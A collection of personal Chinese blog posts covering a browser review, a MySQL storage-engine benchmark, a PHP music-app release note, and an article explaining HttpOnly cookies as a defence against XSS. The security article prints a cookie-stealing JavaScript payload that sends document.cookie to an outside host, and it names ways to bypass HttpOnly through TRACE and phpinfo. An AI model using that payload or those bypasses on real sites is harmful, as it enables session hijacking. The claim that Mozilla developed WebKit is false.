杨柳争春

GOOGLE浏览器的试用后的感觉

感觉GOOGLE的浏览器也不是很好用。可能是因为使用的习惯上的问题。看惯了下面有状态栏。GOOGLE我没有找到怎么把这个状态栏给设置出来。

他的那个地址栏，是GOOGLE最推荐的东西。可是我认为他的还没有FF3.0和IE的好用。如果你要是访问了一个地方。他出现的历史地址。老是只有那么几个。不是是最新的放到上面的。而是以最早的那些地址放的。也许在你们那里不是那样的。可在我的机器上是这样的。所以我感觉他还是没有IE和FF好用。

北京最牛的地铁

这个太牛了。好像是奥运专线吧！这个视频作者也很不错。音乐选得很好。

google浏览器不支持FLASH动态的获取外部的数据

现在的GOOGLE的浏览器里面FLASH不能获取外部的数据，

不能正常的插座视频网站的视频。

不知道是为什么。他们不让FLASH做这些事儿。

google浏览器用起来很不错

很好用。而且很干净，又很美观。

不过现在好像就是稳定性不是很好。老是说崩溃了。不过很有意思的报错。

哎哟 崩溃了。

哈哈。。他用的是 AppleWebKit的内核。  好像是Mozilla 给开发的。我感觉他和FIREFOX也是一样的。

不过没有状态栏还有一些不是很习惯。

CN.VC上杂志了。

今天突然一个网友来找到我们说，在杂志上看到了CN.VC后来就申请了一个，很不错。还不知道是怎么回事。后来这个热心的网友就给我们这边发来了这个杂志的截图。

黑客档案2008年8月第一期。

我去买 可惜没有买 到。

ZY music! V1.1.1

本版为争乐在线正式改名为ZY music!后发布的第一个版本。

ZY music! V1.1.1

官方网站：http://www.imdiy.net

演示请查看官方网站

有任何问题请到官方论坛提出
v1.1.1 更新说明：
无法正常的获取到播放地址的问题
安装说明：请修改config.ini.php文件

版权声明：
在本程序中用到了Jquery和海浪开发的LRC歌词。以上的所声明软件或插件版权由其原作者所有
安装要求:

PHP版本 >= 5.2

设置cache文件夹权限为777(linux/unix),NT要求有读写权限。

如果您的空间商不支持本程序。

本程序建议使用【光辉互联】ZY music！专用空间，最低88元完美支持ZY music！
购买联系：8601034  网址：www.7net.cn

下载地址：http://www.imdiy.net/down.php/zymusic/zymusic1.1.1.rar

草香，家乡

昨天晚上饭后和女友一起去超市。在路上走到了一个绿化带边。工人们把刚刚修过草坪。一阵微风吹来，中间夹带着草的清香。让人一阵清醒。突然想到，这个问题好熟悉。好多年了，没有闻到这个味道。

小时候，我们家还是农村。当时和小伙伴们一起在山上跳来跳去，倒在草上闻到的就是这个味道。每年夏天在水田里面收水稻的时候，也会闻到草的清香。在山上收麦子的时候也会可以闻到。思绪一下跳得很远了。

和女友相视一笑，我们都回到了家乡了。

mysql的innodb_flush_log_at_trx_commit

mysql innodb表与myisam 表的区别

CPU : AMD2500+ (1.8G)
内存: 1G/现代
硬盘: 80G/IDE

OS : Windows XP SP2
SE : PHP5.2.1
DB : MySQL5.0.37
Web: IIS6

CREATE TABLE `myisam` (
  `id` int(11) NOT NULL auto_increment,
  `name` varchar(100) default NULL,
  `content` text,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk;

CREATE TABLE `innodb` (
  `id` int(11) NOT NULL auto_increment,
  `name` varchar(100) default NULL,
  `content` text,
  PRIMARY KEY  (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=gbk;

$name = "heiyeluren";

$content = "MySQL支持数个存储引擎作为对不同表的类型的处理器。MySQL存储引擎包括处理事务安全表的引

擎和处理非事务安全表的引擎：· MyISAM管理非事务表。它提供高速存储和检索，以及全文搜索能力。MyISAM在

所有MySQL配置里被支持，它是默认的存储引擎，除非你配置MySQL默认使用另外一个引擎。 ·MEMORY存储引擎提

供“内存中”表。MERGE存储引擎允许集合将被处理同样的MyISAM表作为一个单独的表。就像MyISAM一样，MEMORY

和MERGE存储引擎处理非事务表，这两个引擎也都被默认包含在MySQL中。 释：MEMORY存储引擎正式地被确定为

HEAP引擎。· InnoDB和BDB存储引擎提供事务安全表。BDB被包含在为支持它的操作系统发布的MySQL-Max二进制

分发版里。InnoDB也默认被包括在所有MySQL 5.1二进制分发版里，你可以按照喜好通过配置MySQL来允许或禁止任

一引擎。·EXAMPLE存储引擎是"

插入数据-1

(innodb_flush_log_at_trx_commit=1)
MyISAM 1W：3/s
InnoDB 1W：219/s

MyISAM 10W：29/s
InnoDB 10W：2092/s

MyISAM 100W：287/s
InnoDB 100W：没敢测试

插入数据-2

(innodb_flush_log_at_trx_commit=0)
MyISAM 1W：3/s
InnoDB 1W：3/s

MyISAM 10W：30/s
InnoDB 10W：29/s

MyISAM 100W：273/s
InnoDB 100W：423/s

插入数据3

(innodb_buffer_pool_size=1024M)
InnoDB 1W：3/s
InnoDB 10W：33/s
InnoDB 100W：607/s

插入数据-4

(innodb_buffer_pool_size=256M, innodb_flush_log_at_trx_commit=1,
set autocommit=0)

InnoDB 1W：3/s
InnoDB 10W：26/s
InnoDB 100W：379/s

5.MySQL 配置文件(缺省配置)

# MySQL Server Instance Configuration File
[client]
port=3306
[mysql]
default-character-set=gbk
[mysqld]
port=3306
basedir="C:/mysql50/"
datadir="C:/mysql50/Data/"
default-character-set=gbk
default-storage-engine=INNODB
sql-mode="STRICT_TRANS_TABLES,
NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
max_connections=100
query_cache_size=0
table_cache=256
tmp_table_size=50M
thread_cache_size=8
myisam_max_sort_file_size=100G
myisam_max_extra_sort_file_size=100G
myisam_sort_buffer_size=100M
key_buffer_size=82M
read_buffer_size=64K
read_rnd_buffer_size=256K
sort_buffer_size=256K
innodb_additional_mem_pool_size=4M
innodb_flush_log_at_trx_commit=1
innodb_log_buffer_size=2M
innodb_buffer_pool_size=159M
innodb_log_file_size=80M
innodb_thread_concurrency=8

【总结】

可以看出在MySQL 5.0里面，MyISAM和InnoDB存储引擎性能差别并不是很大，针对InnoDB来说，影响性能的主要是 innodb_flush_log_at_trx_commit 这个选项，如果设置为1的话，那么每次插入数据的时候都会自动提交，导致性能急剧下降，应该是跟刷新日志有关系，设置为0效率能够看到明显提升，当然，同样你可以SQL中提交“SET AUTOCOMMIT = 0”来设置达到好的性能。另外，还听说通过设置innodb_buffer_pool_size能够提升InnoDB的性能，但是我测试发现没有特别明显的提升。

基本上我们可以考虑使用InnoDB来替代我们的MyISAM引擎了，因为InnoDB自身很多良好的特点，比如事务支持、存储过程、视图、行级锁定等等，在并发很多的情况下，相信InnoDB的表现肯定要比MyISAM强很多，当然，相应的在my.cnf中的配置也是比较关键的，良好的配置，能够有效的加速你的应用。

如果不是很复杂的Web应用，非关键应用，是可以继续考虑MyISAM的，具体情况可以根据实际情况做出选择。

利用Httponly提升应用程序安全性

随着www服务的兴起，越来越多的应用程序转向了B/S结构，这样只需要一个浏览器就 可以访问各种各样的web服务，但是这样也越来越导致了越来越多的web安全问题。www服务依赖于Htpp协议实现，Http是无状态的协议，所以为了 在各个会话之间传递信息，就不可避免地用到Cookie或者Session等技术来标记访问者的状态，而无论是Cookie还是Session，一般都是 利用Cookie来实现的（Session其实是在浏览器的Cookie里带了一个Token来标记，服务器取得了这个Token并且检查合法性之后就把 服务器上存储的对应的状态和浏览器绑定），这样就不可避免地安全聚焦到了Cookie上面，只要获得这个Cookie，就可以取得别人的身份，这对于入侵 者是一件很美妙的事情，特别当获得的Cookie属于管理员等高权限身份者时，危害就更大了。在各种web安全问题里，其中xss漏洞就因此显得格外危 险。

    对于应用程序来说，一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的js脚本，如果应用程序是开源的或者 功能是公开的话，别人就可以利用ajax使用这些功能，但是过程往往很烦琐，特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源的应用程 序，譬如某些大型站点的web后台（web2.0一个显著的特征就是大量的交互，用户往往需要跟后台的管理员交互，譬如Bug汇报，或者信息投递等等）， 尽管因为交互的存在可能存在跨站脚本漏洞，但是因为对后台的不了解，无法构造完美的ajax代码来利用，即使可以用js取得后台的代码并回传分析，但是过 程同样烦琐而且不隐蔽。这个时候，利用xss漏洞获得Cookie或者Session劫持就很有效了，具体分析应用程序的认证，然后使用某些技巧，甚至可 以即使对方退出程序也一样永久性获得对方的身份。

    那么如何获得Cookie或者Session劫持呢？在浏览器中的document对象中，就储存了Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有别人的身份了。一个很典型的xss攻击语句如下：

xss exp:

    url=document.top.location.href;
    cookie=document.cookie;
    c=new Image();
    c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;

     一些应用程序考虑到这个问题所在，所以可能会采取浏览器绑定技术，譬如将Cookie和浏览器的User-agent绑定，一旦发现修改就认为 Cookie失效。这种方法已经证明是无效的，因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是 将Cookie和Remote-addr相绑定（其实就是和IP绑定，但是一些程序取得IP的方法有问题一样导致饶过），但是这样就带来很差的用户体验， 更换Ip是经常的事，譬如上班与家里就是2个IP，所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行，在一些web 2.0 站点很容易就取到应用程序的管理员身份。

    如何保障我们的敏感Cookie安全呢？通过上面的分析，一般的Cookie都是从 document对象中获得的，我们只要让敏感Cookies浏览器document中不可见就行了。很幸运，现在浏览器在设置Cookie的时候一般都 接受一个叫做HttpOnly的参数，跟domain等其他参数一样，一旦这个HttpOnly被设置，你在浏览器的document对象中就看不到 Cookie了，而浏览器在浏览的时候不受任何影响，因为Cookie会被放在浏览器头中发送出去（包括ajax的时候），应用程序也一般不会在js里操 作这些敏感Cookie的，对于一些敏感的Cookie我们采用HttpOnly，对于一些需要在应用程序中用js操作的cookie我们就不予设置，这 样就保障了Cookie信息的安全也保证了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en- us/library/ms533046.aspx。

    给浏览器设置Cookie的头如下：

    Set-Cookie: <name>=<value>[; <name>=<value>]
    [; expires=<date>][; domain=<domain_name>]
    [; path=<some_path>][; secure][; HttpOnly]

    以php为例，在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持，譬如

    <?php
    setcookie(”abc”, ”test”, NULL, NULL, NULL, NULL, TRUE); 
    ?>

     就可以设置abc这个cookie，将其设置为HttpOnly，document将不可见这个Cookie。因为setcookie函数本质就是个 header，所以一样可以使用header来设置HttpOnly。然后再使用document.cookie就可以看到已经取不到这个Cookie 了。我们用这种方法来保护利例如Sessionid，如一些用于认证的auth-cookie，就不用担心身份被人获得了，这对于一些后台程序和 webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到，已经不能获取被我们设置为HttpOnly的敏感Cookie了。

     但是，也可以看到HttpOnly并不是万能的，首先它并不能解决xss的问题，仍然不能抵制一些有耐心的黑客的攻击，也不能防止入侵者做ajax提交， 甚至一些基于xss的proxy也出现了，但是已经可以提高攻击的门槛了，起码xss攻击不是每个脚本小子都能完成的了，而且其他的那些攻击手法因为一些 环境和技术的限制，并不像Cookie窃取这种手法一样通用。

    HttpOnly也是可能利用一些漏洞或者配置Bypass 的，关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出 来，利用ajax或者flash就可以完成这种攻击，这种手法也已经在ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass 的显著例子就是phpinfo，大家知道phpinfo会将浏览器发送的http头回显出来，其中就包括我们保护的auth信息，而这个页面经常存在在各 种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头 的泄露，这种攻击方式对于basic验证保护的页面一样可以攻击。

    HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。